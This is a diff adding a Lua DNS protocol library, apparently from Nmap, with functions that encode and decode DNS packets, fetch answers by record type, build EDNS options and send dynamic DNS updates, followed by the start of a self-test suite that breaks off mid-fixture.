+ if ans.dtype == types.AAAA then
+ if not retAll then
+ return true, ans.ipv6
+ end
+ table.insert(answers, ans.ipv6)
+ end
+ end
+ if not retAll or #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: AAAA")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+
+---Calls the answer fetcher for <code>dtype</code> or returns an error code in
+-- case of a "no such name" error.
+--
+-- @param dtype DNS resource record type.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return Answer according to the answer fetcher for <code>dtype</code> or an Error message.
+function findNiceAnswer(dtype, dec, retAll)
+ if (#dec.answers > 0) then
+ if answerFetcher[dtype] then
+ return answerFetcher[dtype](dec, retAll)
+ else
+ stdnse.debug1("dns.findNiceAnswer() does not have an answerFetcher for dtype %s", tostring(dtype))
+ return false, "Unable to handle response"
+ end
+ elseif (dec.flags.RC3 and dec.flags.RC4) then
+ return false, "No Such Name"
+ else
+ stdnse.debug1("dns.findNiceAnswer() found zero answers in a response, but got an unexpected flags.replycode")
+ return false, "No Answers"
+ end
+end
+
+-- Table for additional fetching functions.
+-- Some servers return their answers in the additional section. The
+-- findNiceAdditional function with its relevant additionalFetcher functions
+-- addresses this. This unfortunately involved some code duplication (because
+-- of current design of the dns library) from the answerFetchers to the
+-- additionalFetchers.
+local additionalFetcher = {}
+
+-- Additional fetcher for TXT records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns TXT record or Table of TXT records or String Error message.
+additionalFetcher[types.TXT] = function(dec, retAll)
+ local answers = {}
+ if not retAll and dec.add[1].data then
+ return true, string.sub(dec.add[1].data, 2)
+ elseif not retAll then
+ stdnse.debug1("dns.additionalFetcher found no records of the required type: TXT")
+ return false, "No Answers"
+ else
+ for _, v in ipairs(dec.add) do
+ if v.TXT and v.TXT.text then
+ for _, v in ipairs( v.TXT.text ) do
+ table.insert(answers, v)
+ end
+ end
+ end
+ end
+ if #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: TXT")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+-- Additional fetcher for A records
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns A record or Table of A records or String Error message.
+additionalFetcher[types.A] = function(dec, retAll)
+ local answers = {}
+ for _, ans in ipairs(dec.add) do
+ if ans.dtype == types.A then
+ if not retAll then
+ return true, ans.ip
+ end
+ table.insert(answers, ans.ip)
+ end
+ end
+ if not retAll or #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: A")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+
+-- Additional fetcher for SRV records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns SRV record or Table of SRV records or String Error message.
+-- Note that the format of a returned SRV answer is "priority:weight:port:target" where zero
+-- or more IP addresses may be present.
+additionalFetcher[types.SRV] = function(dec, retAll)
+ local srv, ip, answers = {}, {}, {}
+ for _, ans in ipairs(dec.add) do
+ if ans.dtype == types.SRV then
+ if not retAll then
+ return true, ("%s:%s:%s:%s"):format( ans.SRV.prio, ans.SRV.weight, ans.SRV.port, ans.SRV.target )
+ end
+ table.insert( answers, ("%s:%s:%s:%s"):format( ans.SRV.prio, ans.SRV.weight, ans.SRV.port, ans.SRV.target ) )
+ end
+ end
+ if #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: SRV")
+ return false, "No Answers"
+ end
+
+ return true, answers
+end
+
+
+-- Additional fetcher for AAAA records.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return String first dns AAAA record or Table of AAAA records or String Error message.
+additionalFetcher[types.AAAA] = function(dec, retAll)
+ local answers = {}
+ for _, ans in ipairs(dec.add) do
+ if ans.dtype == types.AAAA then
+ if not retAll then
+ return true, ans.ipv6
+ end
+ table.insert(answers, ans.ipv6)
+ end
+ end
+ if not retAll or #answers == 0 then
+ stdnse.debug1("dns.answerFetcher found no records of the required type: AAAA")
+ return false, "No Answers"
+ end
+ return true, answers
+end
+
+---
+-- Calls the answer fetcher for <code>dtype</code> or returns an error code in
+-- case of a "no such name" error.
+-- @param dtype DNS resource record type.
+-- @param dec Decoded DNS response.
+-- @param retAll If true, return all entries, not just the first.
+-- @return True if one or more answers of the required type were found - otherwise false.
+-- @return Answer according to the answer fetcher for <code>dtype</code> or an Error message.
+function findNiceAdditional(dtype, dec, retAll)
+ if (#dec.add > 0) then
+ if additionalFetcher[dtype] then
+ return additionalFetcher[dtype](dec, retAll)
+ else
+ stdnse.debug1("dns.findNiceAdditional() does not have an additionalFetcher for dtype %s",
+ (type(dtype) == 'string' and dtype) or type(dtype) or "nil")
+ return false, "Unable to handle response"
+ end
+ elseif (dec.flags.RC3 and dec.flags.RC4) then
+ return false, "No Such Name"
+ else
+ stdnse.debug1("dns.findNiceAdditional() found zero answers in a response, but got an unexpected flags.replycode")
+ return false, "No Answers"
+ end
+end
+
+--
+-- Encodes a FQDN
+-- @param fqdn containing the fully qualified domain name
+-- @return encQ containing the encoded value
+local function encodeFQDN(fqdn)
+ if ( not(fqdn) or #fqdn == 0 ) then return "\0" end
+
+ local encQ = {}
+ for part in string.gmatch(fqdn, "[^%.]+") do
+ encQ[#encQ+1] = string.pack("s1", part)
+ end
+ encQ[#encQ+1] = "\0"
+ return table.concat(encQ)
+end
+
+---
+-- Encodes the question part of a DNS request.
+-- @param questions Table of questions.
+-- @return Encoded question string.
+local function encodeQuestions(questions)
+ if type(questions) ~= "table" then return nil end
+ local encQ = {}
+ for _, v in ipairs(questions) do
+ encQ[#encQ+1] = encodeFQDN(v.dname)
+ encQ[#encQ+1] = string.pack(">I2I2", v.dtype, v.class)
+ end
+ return table.concat(encQ)
+end
+
+---
+-- Encodes the zone part of a DNS request.
+-- @param questions Table of questions.
+-- @return Encoded question string.
+local function encodeZones(zones)
+ return encodeQuestions(zones)
+end
+
+local function encodeUpdates(updates)
+ if type(updates) ~= "table" then return nil end
+ local encQ = {}
+ for _, v in ipairs(updates) do
+ encQ[#encQ+1] = encodeFQDN(v.dname)
+ encQ[#encQ+1] = string.pack(">I2I2I4s2", v.dtype, v.class, v.ttl, v.data)
+ end
+ return table.concat(encQ)
+end
+
+---
+-- Encodes the additional part of a DNS request.
+-- @param additional Table of additional records. Each must have the keys
+-- <code>type</code>, <code>class</code>, <code>ttl</code>,
+-- and <code>rdata</code>.
+-- @return Encoded additional string.
+local function encodeAdditional(additional)
+ if type(additional) ~= "table" then return nil end
+ local encA = {}
+ for _, v in ipairs(additional) do
+ encA[#encA+1] = string.pack(">xI2I2I4s2", v.type, v.class, v.ttl, v.rdata)
+ end
+ return table.concat(encA)
+end
+
+---
+-- Encodes DNS flags to a binary digit string.
+-- @param flags Flag table, each entry representing a flag (QR, OCx, AA, TC, RD,
+-- RA, RCx).
+-- @return Binary digit string representing flags.
+local function encodeFlags(flags)
+ if type(flags) == "number" then return flags end
+ if type(flags) ~= "table" then return nil end
+ local fb = 0
+ if flags.QR then fb = fb|0x8000 end
+ if flags.OC1 then fb = fb|0x4000 end
+ if flags.OC2 then fb = fb|0x2000 end
+ if flags.OC3 then fb = fb|0x1000 end
+ if flags.OC4 then fb = fb|0x0800 end
+ if flags.AA then fb = fb|0x0400 end
+ if flags.TC then fb = fb|0x0200 end
+ if flags.RD then fb = fb|0x0100 end
+ if flags.RA then fb = fb|0x0080 end
+ if flags.RC1 then fb = fb|0x0008 end
+ if flags.RC2 then fb = fb|0x0004 end
+ if flags.RC3 then fb = fb|0x0002 end
+ if flags.RC4 then fb = fb|0x0001 end
+ return fb
+end
+
+---
+-- Encode a DNS packet.
+--
+-- Caution: doesn't encode answer and authority part.
+-- @param pkt Table representing DNS packet, initialized by
+-- <code>newPacket</code>.
+-- @return Encoded DNS packet.
+function encode(pkt)
+ if type(pkt) ~= "table" then return nil end
+ local encFlags = encodeFlags(pkt.flags)
+ local additional = encodeAdditional(pkt.additional)
+ local aorplen = #pkt.answers
+ local data, qorzlen, aorulen
+
+ if ( #pkt.questions > 0 ) then
+ data = encodeQuestions( pkt.questions )
+ qorzlen = #pkt.questions
+ aorulen = 0
+ else
+ -- The packet has no questions, assume we're dealing with an update
+ data = encodeZones( pkt.zones ) .. encodeUpdates( pkt.updates )
+ qorzlen = #pkt.zones
+ aorulen = #pkt.updates
+ end
+
+ local encStr
+ if ( pkt.flags.raw ) then
+ encStr = string.pack(">I2I2I2I2I2I2", pkt.id, pkt.flags.raw, qorzlen, aorplen, aorulen, #pkt.additional) .. data .. additional
+ else
+ encStr = string.pack(">I2I2I2I2I2I2", pkt.id, encFlags, qorzlen, aorplen, aorulen, #pkt.additional) .. data .. additional
+ end
+ return encStr
+end
+
+
+---
+-- Decodes a domain in a DNS packet. Handles "compressed" data too.
+-- @param data Complete DNS packet.
+-- @param pos Starting position in packet.
+-- @return Position after decoding.
+-- @return Decoded domain, or <code>nil</code> on error.
+function decStr(data, pos)
+ local function dec(data, pos, limit)
+ assert(pos > 0)
+ local partlen
+ local parts = {}
+ local part
+
+ -- Avoid infinite recursion on malformed compressed messages.
+ limit = limit or 10
+ if limit < 0 then
+ return pos, nil
+ end
+
+ partlen, pos = string.unpack(">B", data, pos)
+ while (partlen ~= 0) do
+ if (partlen < 64) then
+ if (#data - pos + 1) < partlen then
+ return pos
+ end
+ part, pos = string.unpack("c" .. partlen, data, pos)
+ table.insert(parts, part)
+ partlen, pos = string.unpack(">B", data, pos)
+ else
+ partlen, pos = string.unpack(">I2", data, pos - 1)
+ local _, part = dec(data, partlen - 0xC000 + 1, limit - 1)
+ if part == nil then
+ return pos
+ end
+ table.insert(parts, part)
+ partlen = 0
+ end
+ end
+ return pos, table.concat(parts, ".")
+ end
+
+ return dec(data, pos)
+end
+
+
+---
+-- Decodes questions in a DNS packet.
+-- @param data Complete DNS packet.
+-- @param count Value of question counter in header.
+-- @param pos Starting position in packet.
+-- @return Position after decoding.
+-- @return Table of decoded questions.
+local function decodeQuestions(data, count, pos)
+ local q = {}
+ for i = 1, count do
+ local currQ = {}
+ pos, currQ.dname = decStr(data, pos)
+ currQ.dtype, currQ.class, pos = string.unpack(">I2I2", data, pos)
+ table.insert(q, currQ)
+ end
+ return pos, q
+end
+
+
+---
+-- Table of functions to decode resource records
+local decoder = {}
+
+-- Decodes IP of A record, puts it in <code>entry.ip</code>.
+-- @param entry RR in packet.
+decoder[types.A] = function(entry)
+ entry.ip = ipOps.str_to_ip(entry.data:sub(1,4))
+end
+
+-- Decodes IP of AAAA record, puts it in <code>entry.ipv6</code>.
+-- @param entry RR in packet.
+decoder[types.AAAA] = function(entry)
+ entry.ipv6 = ipOps.str_to_ip(entry.data:sub(1,16))
+end
+
+-- Decodes SSH fingerprint record, puts it in <code>entry.SSHFP</code> as
+-- defined in RFC 4255.
+--
+-- <code>entry.SSHFP</code> has the fields <code>algorithm</code>,
+-- <code>fptype</code>, and <code>fingerprint</code>.
+-- @param entry RR in packet.
+decoder[types.SSHFP] = function(entry)
+ local pos
+ entry.SSHFP = {}
+ entry.SSHFP.algorithm, entry.SSHFP.fptype, pos = string.unpack(">BB", entry.data)
+ entry.SSHFP.fingerprint = stdnse.tohex(entry.data:sub(pos))
+end
+
+
+-- Decodes SOA record, puts it in <code>entry.SOA</code>.
+--
+-- <code>entry.SOA</code> has the fields <code>mname</code>, <code>rname</code>,
+-- <code>serial</code>, <code>refresh</code>, <code>retry</code>,
+-- <code>expire</code>, and <code>minimum</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.SOA] = function(entry, data, pos)
+
+ local np = pos - #entry.data
+
+ entry.SOA = {}
+
+ np, entry.SOA.mname = decStr(data, np)
+ np, entry.SOA.rname = decStr(data, np)
+ entry.SOA.serial,
+ entry.SOA.refresh,
+ entry.SOA.retry,
+ entry.SOA.expire,
+ entry.SOA.minimum,
+ np = string.unpack(">I4I4I4I4I4", data, np)
+end
+
+-- An iterator that returns the positions of nonzero bits in the given binary
+-- string.
+local function bit_iter(bits)
+ return coroutine.wrap(function()
+ for i = 1, #bits do
+ local n = string.byte(bits, i)
+ local j = 0
+ local mask = 0x80
+
+ while mask > 0 do
+ if (n & mask) ~= 0 then
+ coroutine.yield((i - 1) * 8 + j)
+ end
+ j = j + 1
+ mask = (mask >> 1)
+ end
+ end
+ end)
+end
+
+-- Decodes NSEC records, puts result in <code>entry.NSEC</code>. See RFC 4034,
+-- section 4.
+--
+-- <code>entry.NSEC</code> has the fields <code>dname</code>,
+-- <code>next_dname</code>, and <code>types</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.NSEC] = function (entry, data, pos)
+ local np = pos - #entry.data
+ entry.NSEC = {}
+ entry.NSEC.dname = entry.dname
+ np, entry.NSEC.next_dname = decStr(data, np)
+ while np < pos do
+ local block_num, type_bitmap
+ block_num, type_bitmap, np = string.unpack(">Bs1", data, np)
+ entry.NSEC.types = {}
+ for i in bit_iter(type_bitmap) do
+ entry.NSEC.types[(block_num - 1) * 256 + i] = true
+ end
+ end
+end
+-- Decodes NSEC3 records, puts result in <code>entry.NSEC3</code>. See RFC 5155.
+--
+-- <code>entry.NSEC3</code> has the fields <code>dname</code>,
+-- <code>hash.alg</code>, and <code>hash.base32</code>.
+-- <code>hash.bin</code>, and <code>hash.hex</code>.
+-- <code>salt.bin</code>, and <code>salt.hex</code>.
+-- <code>iterations</code>, and <code>types</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.NSEC3] = function (entry, data, pos)
+ local np = pos - #entry.data
+ local _
+ local flags
+
+ entry.NSEC3 = {}
+ entry.NSEC3.dname = entry.dname
+ entry.NSEC3.salt, entry.NSEC3.hash = {}, {}
+
+ entry.NSEC3.hash.alg, entry.NSEC3.flags, entry.NSEC3.iterations, np = string.unpack(">BBI2", data, np)
+ -- do we even need to decode these do we care about opt out?
+ -- entry.NSEC3.flags = decodeFlagsNSEC3(flags)
+
+ entry.NSEC3.salt.bin, np = string.unpack(">s1", data, np)
+ entry.NSEC3.salt.hex = stdnse.tohex(entry.NSEC3.salt.bin)
+
+ entry.NSEC3.hash.bin, np = string.unpack(">s1" , data, np)
+ entry.NSEC3.hash.hex = stdnse.tohex(entry.NSEC3.hash.bin)
+ entry.NSEC3.hash.base32 = base32.enc(entry.NSEC3.hash.bin, true)
+
+ entry.NSEC3.WinBlockNo, entry.NSEC3.bin, np = string.unpack(">Bs1", data, np)
+ entry.NSEC3.types = {}
+ for i in bit_iter(entry.NSEC3.bin) do
+ entry.NSEC3.types[(entry.NSEC3.WinBlockNo - 1) * 256 + i] = true
+ end
+end
+
+-- Decodes records that consist only of one domain, for example CNAME, NS, PTR.
+-- Puts result in <code>entry.domain</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+local function decDomain(entry, data, pos)
+ local np = pos - #entry.data
+ local _
+ _, entry.domain = decStr(data, np)
+end
+
+-- Decodes CNAME records.
+-- Puts result in <code>entry.domain</code>.
+-- @name decoder[types.CNAME]
+-- @class function
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.CNAME] = decDomain
+
+-- Decodes NS records.
+-- Puts result in <code>entry.domain</code>.
+-- @name decoder[types.NS]
+-- @class function
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.NS] = decDomain
+
+-- Decodes PTR records.
+-- Puts result in <code>entry.domain</code>.
+-- @name decoder[types.PTR]
+-- @class function
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.PTR] = decDomain
+
+-- Decodes TXT records.
+-- Puts result in <code>entry.domain</code>.
+-- @name decoder[types.TXT]
+-- @class function
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.TXT] =
+function (entry, data, pos)
+
+ local len = #entry.data
+ local np = pos - len
+ local txt
+
+ if len > 0 then
+ entry.TXT = {}
+ entry.TXT.text = {}
+ end
+
+ while np < pos do
+ txt, np = string.unpack("s1", data, np)
+ table.insert( entry.TXT.text, txt )
+ end
+
+end
+
+---
+-- Decodes OPT record, puts it in <code>entry.OPT</code>.
+--
+-- <code>entry.OPT</code> has the fields <code>mname</code>, <code>rname</code>,
+-- <code>serial</code>, <code>refresh</code>, <code>retry</code>,
+-- <code>expire</code>, and <code>minimum</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.OPT] =
+function(entry, data, pos)
+ local np = pos - #entry.data - 6
+ local opt = { bufsize = entry.class }
+ opt.rcode, opt.version, opt.zflags, opt.data, np = string.unpack(">BBI2s2", data, np)
+ entry.OPT = opt
+end
+
+
+-- Decodes MX record, puts it in <code>entry.MX</code>.
+--
+-- <code>entry.MX</code> has the fields <code>pref</code> and
+-- <code>server</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.MX] =
+function(entry, data, pos)
+ local np = pos - #entry.data + 2
+ local _
+ entry.MX = {}
+ entry.MX.pref = string.unpack(">I2", entry.data)
+ _, entry.MX.server = decStr(data, np)
+end
+
+-- Decodes SRV record, puts it in <code>entry.SRV</code>.
+--
+-- <code>entry.SRV</code> has the fields <code>prio</code>,
+-- <code>weight</code>, <code>port</code> and
+-- <code>target</code>.
+-- @param entry RR in packet.
+-- @param data Complete encoded DNS packet.
+-- @param pos Position in packet after RR.
+decoder[types.SRV] =
+function(entry, data, pos)
+ local np = pos - #entry.data
+ local _
+ entry.SRV = {}
+ entry.SRV.prio, entry.SRV.weight, entry.SRV.port, np = string.unpack(">I2I2I2", data, np)
+ np, entry.SRV.target = decStr(data, np)
+end
+
+-- Decodes returned resource records (answer, authority, or additional part).
+-- @param data Complete encoded DNS packet.
+-- @param count Value of according counter in header.
+-- @param pos Starting position in packet.
+-- @return Table of RRs.
+local function decodeRR(data, count, pos)
+ local ans = {}
+ for i = 1, count do
+ local currRR = {}
+ pos, currRR.dname = decStr(data, pos)
+ currRR.dtype, currRR.class, currRR.ttl, pos = string.unpack(">I2I2I4", data, pos)
+
+ currRR.data, pos = string.unpack(">s2", data, pos)
+
+ -- try to be smart: decode per type
+ if decoder[currRR.dtype] then
+ decoder[currRR.dtype](currRR, data, pos)
+ end
+
+ table.insert(ans, currRR)
+ end
+ return pos, ans
+end
+
+---
+-- Decodes DNS flags.
+-- @param flgStr Flags as a binary digit string.
+-- @return Table representing flags.
+local function decodeFlags(flags)
+ local tflags = {}
+ if (flags & 0x8000) ~= 0 then tflags.QR = true end
+ if (flags & 0x4000) ~= 0 then tflags.OC1 = true end
+ if (flags & 0x2000) ~= 0 then tflags.OC2 = true end
+ if (flags & 0x1000) ~= 0 then tflags.OC3 = true end
+ if (flags & 0x0800) ~= 0 then tflags.OC4 = true end
+ if (flags & 0x0400) ~= 0 then tflags.AA = true end
+ if (flags & 0x0200) ~= 0 then tflags.TC = true end
+ if (flags & 0x0100) ~= 0 then tflags.RD = true end
+ if (flags & 0x0080) ~= 0 then tflags.RA = true end
+ if (flags & 0x0008) ~= 0 then tflags.RC1 = true end
+ if (flags & 0x0004) ~= 0 then tflags.RC2 = true end
+ if (flags & 0x0002) ~= 0 then tflags.RC3 = true end
+ if (flags & 0x0001) ~= 0 then tflags.RC4 = true end
+ return tflags
+end
+
+---
+-- Decodes a DNS packet.
+-- @param data Encoded DNS packet.
+-- @return Table representing DNS packet.
+function decode(data)
+ local pos
+ local pkt = {}
+ local encFlags
+ local cnt = {}
+ pkt.id, encFlags, cnt.q, cnt.a, cnt.auth, cnt.add, pos = string.unpack(">I2I2I2I2I2I2", data)
+ -- for now, don't decode the flags
+ pkt.flags = decodeFlags(encFlags)
+
+ --
+ -- check whether this is an update response or not
+ -- a quick fix to allow decoding of non updates and not break for updates
+ -- the flags are enough for the current code to determine whether an update was successful or not
+ --
+ local flags = encodeFlags(pkt.flags)
+ -- QR, OC2
+ if (flags & 0xF000) == 0xA000 then
+ return pkt
+ else
+ pos, pkt.questions = decodeQuestions(data, cnt.q, pos)
+ pos, pkt.answers = decodeRR(data, cnt.a, pos)
+ pos, pkt.auth = decodeRR(data, cnt.auth, pos)
+ pos, pkt.add = decodeRR(data, cnt.add, pos)
+ end
+ return pkt
+end
+
+
+---
+-- Creates a new table representing a DNS packet.
+-- @return Table representing a DNS packet.
+function newPacket()
+ local pkt = {}
+ pkt.id = 1
+ pkt.flags = {}
+ pkt.flags.RD = true
+ pkt.questions = {}
+ pkt.zones = {}
+ pkt.updates = {}
+ pkt.answers = {}
+ pkt.auth = {}
+ pkt.additional = {}
+ return pkt
+end
+
+
+---
+-- Adds a question to a DNS packet table.
+-- @param pkt Table representing DNS packet.
+-- @param dname Domain name to be asked.
+-- @param dtype RR to be asked.
+function addQuestion(pkt, dname, dtype, class)
+ if type(pkt) ~= "table" then return nil end
+ if type(pkt.questions) ~= "table" then return nil end
+ local class = class or CLASS.IN
+ local q = {}
+ q.dname = dname
+ q.dtype = dtype
+ q.class = class
+ table.insert(pkt.questions, q)
+ return pkt
+end
+
+
+get_default_timeout = function()
+ local timeout = {[0] = 10000, 7000, 5000, 4000, 4000, 4000}
+ return timeout[nmap.timing_level()] or 4000
+end
+
+---
+-- Adds a zone to a DNS packet table
+-- @param pkt Table representing DNS packet.
+-- @param dname Domain name to be asked.
+function addZone(pkt, dname)
+ if ( type(pkt) ~= "table" ) or (type(pkt.updates) ~= "table") then return nil end
+ table.insert(pkt.zones, { dname=dname, dtype=types.SOA, class=CLASS.IN })
+ return pkt
+end
+
+---
+-- Encodes the Z bitfield of an OPT record.
+-- @param flags Flag table, each entry representing a flag (only DO flag implmented).
+-- @return Binary digit string representing flags.
+local function encodeOPT_Z(flags)
+ if type(flags) == "number" then return flags end
+ assert(type(flags) == "table")
+ local bits = 0
+ if flags.DO then bits = bits|0x8000 end
+ return bits
+end
+
+---
+-- Adds an client-subnet payload to the OPT packet
+--
+-- implementing https://tools.ietf.org/html/rfc7871
+-- @param pkt Table representing DNS packet.
+-- @param Z Table of Z flags. Only DO is supported.
+-- @param client_subnet table containing the following fields
+-- <code>family</code> - IPv4: "inet" or 1 (default), IPv6: "inet6" or 2
+-- <code>mask</code> - byte containing the length of the subnet mask
+-- <code>address</code> - string containing the IP address
+function addClientSubnet(pkt,Z,subnet)
+ local family = subnet.family or 1
+ if type(family) == "string" then
+ family = ({inet=1,inet6=2})[family]
+ end
+ assert(family == 1 or family == 2, "Unsupported subnet family")
+ local code = 8 -- https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-11
+ local mask = subnet.mask
+ local scope_mask = 0 -- In requests, it MUST be set to 0
+ -- Per RFC 7871, section 6:
+ -- Address must have all insignificant bits zeroed out and insignificant bytes
+ -- must be trimmed off. (/24 IPv4 address is submitted as 3 octets, not 4.)
+ local addr = ipOps.get_first_ip(subnet.address, mask)
+ addr = ipOps.ip_to_str(addr):sub(1, (mask + 7) // 8)
+ local data = string.pack(">I2BB", family, mask, scope_mask) .. addr
+ local opt = string.pack(">I2s2", code, data)
+ addOPT(pkt,Z,opt)
+end
+
+---
+-- Adds an NSID payload to the OPT packet
+-- @param pkt Table representing DNS packet.
+-- @param Z Table of Z flags. Only DO is supported.
+function addNSID (pkt,Z)
+ local opt = string.pack(">I2I2", 3, 0) -- nsid data
+ addOPT(pkt,Z,opt)
+end
+
+---
+-- Adds an OPT RR to a DNS packet's additional section.
+--
+-- Only the table of Z flags is supported (i.e., not RDATA). See RFC 2671
+-- section 4.3.
+-- @param pkt Table representing DNS packet.
+-- @param Z Table of Z flags. Only DO is supported.
+function addOPT(pkt, Z, opt)
+ local rdata = opt or ""
+ if type(pkt) ~= "table" then return nil end
+ if type(pkt.additional) ~= "table" then return nil end
+ local Z_int = encodeOPT_Z(Z)
+ local opt = {
+ type = types.OPT,
+ class = 4096, -- Actually the sender UDP payload size.
+ ttl = 0 * (0x01000000) + 0 * (0x00010000) + Z_int,
+ rdata = rdata,
+ }
+ table.insert(pkt.additional, opt)
+ return pkt
+end
+
+---
+-- Adds a update to a DNS packet table
+-- @param pkt Table representing DNS packet.
+-- @param dname Domain name to be asked.
+-- @param dtype to be updated
+-- @param ttl the time-to-live of the record
+-- @param data type specific data
+function addUpdate(pkt, dname, dtype, ttl, data, class)
+ if ( type(pkt) ~= "table" ) or (type(pkt.updates) ~= "table") then return nil end
+ table.insert(pkt.updates, { dname=dname, dtype=dtype, class=class, ttl=ttl, data=(data or "") } )
+ return pkt
+end
+
+
+--- Adds a record to the Zone
+-- @param dname containing the hostname to add
+-- @param options A table containing any of the following fields:
+-- * <code>dtype</code>: Desired DNS record type (default: <code>"A"</code>).
+-- * <code>host</code>: DNS server to be queried (default: DNS servers known to Nmap).
+-- * <code>timeout</code>: The time to wait for a response
+-- * <code>sendCount</code>: The number of send attempts to perform
+-- * <code>zone</code>: If not supplied deduced from hostname
+-- * <code>data</code>: Table or string containing update data (depending on record type):
+-- A - String containing the IP address
+-- CNAME - String containing the FQDN
+-- MX - Table containing <code>pref</code>, <code>mx</code>
+-- SRV - Table containing <code>prio</code>, <code>weight</code>, <code>port</code>, <code>target</code>
+--
+-- @return status true on success false on failure
+-- @return msg containing the error message
+--
+-- Examples
+--
+-- Adding different types of records to a server
+-- * update( "www.cqure.net", { host=host, port=port, dtype="A", data="10.10.10.10" } )
+-- * update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="www.cqure.net" } )
+-- * update( "cqure.net", { host=host, port=port, dtype="MX", data={ pref=10, mx="mail.cqure.net"} })
+-- * update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data={ prio=0, weight=100, port=389, target="ldap.cqure.net" } } )
+--
+-- Removing the above records by setting an empty data and a ttl of zero
+-- * update( "www.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } )
+-- * update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="", ttl=0 } )
+-- * update( "cqure.net", { host=host, port=port, dtype="MX", data="", ttl=0 } )
+-- * update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data="", ttl=0 } )
+--
+function update(dname, options)
+ local options = options or {}
+ local pkt = newPacket()
+ local flags = pkt.flags
+ local host, port = options.host, options.port
+ local timeout = ( type(options.timeout) == "number" ) and options.timeout or get_default_timeout()
+ local sendcount = options.sendCount or 2
+ local dtype = ( type(options.dtype) == "string" ) and types[options.dtype] or types.A
+ local updata = options.data
+ local ttl = options.ttl or 86400
+ local zone = options.zone or dname:match("^.-%.(.+)$")
+ local class = CLASS.IN
+
+ assert(host, "dns.update needs a valid host in options")
+ assert(port, "dns.update needs a valid port in options")
+
+ if ( options.zone ) then dname = dname .. "." .. options.zone end
+
+ if ( not(zone) and not( dname:match("^.-%..+") ) ) then
+ return false, "hostname needs to be supplied as FQDN"
+ end
+
+ flags.RD = false
+ flags.OC1, flags.OC2, flags.OC3, flags.OC4 = false, true, false, true
+
+ -- If ttl is zero and updata is nil or a string of zero length, assume delete record
+ if ttl == 0 and (not updata or (type(updata) == "string" and #updata == 0)) then
+ class = CLASS.ANY
+ updata = ""
+ if ( types.MX == dtype and not(options.zone) ) then zone=dname end
+ if ( types.SRV == dtype and not(options.zone) ) then
+ zone=dname:match("^_.-%._.-%.(.+)$")
+ end
+ -- if not, let's try to update the zone
+ else
+ if ( dtype == types.A or dtype == types.AAAA ) then
+ updata = updata and ipOps.ip_to_str(updata) or ""
+ elseif( dtype == types.CNAME ) then
+ updata = encodeFQDN(updata)
+ elseif( dtype == types.MX ) then
+ assert( not( type(updata) ~= "table" ), "dns.update expected options.data to be a table")
+ if ( not(options.zone) ) then zone = dname end
+ local data = string.pack(">I2", updata.pref)
+ data = data .. encodeFQDN(updata.mx)
+ updata = data
+ elseif ( dtype == types.SRV ) then
+ assert( not( type(updata) ~= "table" ), "dns.update expected options.data to be a table")
+ local data = string.pack(">I2I2I2", updata.prio, updata.weight, updata.port )
+ data = data .. encodeFQDN(updata.target)
+ updata = data
+ zone = options.zone or dname:match("^_.-%._.-%.(.+)$")
+ else
+ return false, "Unsupported record type"
+ end
+ end
+
+ pkt = addZone(pkt, zone)
+ pkt = addUpdate(pkt, dname, dtype, ttl, updata, class)
+
+ local data = encode(pkt)
+ local status, response = sendPackets(data, host, port, timeout, sendcount, false)
+
+ if ( status ) then
+ local decoded = decode(response[1].data)
+ local flags = encodeFlags(decoded.flags)
+ if (flags & 0xF) == 0 then
+ return true
+ end
+ end
+ return false
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+-- Self test
+test_suite = unittest.TestSuite:new()
+
+test_suite:add_test(unittest.equal(encodeFQDN("test.me.com"), "\x04test\x02me\x03com\0"), "encodeFQDN")
+local tests = { {
+ pkt = string.char(0x92, 0xdc, -- Trsnsaction ID
+ 0x81, 0x80, -- Flags
+ 0x00, 0x01, -- Questions count
+ 0x00, 0x01, -- Answers RRs count
+ 0x00, 0x00, -- Authorities RRs count
+ 0x00, 0x00, -- Additionals RRs count
+ 0x06, -- Label length <-- [12]
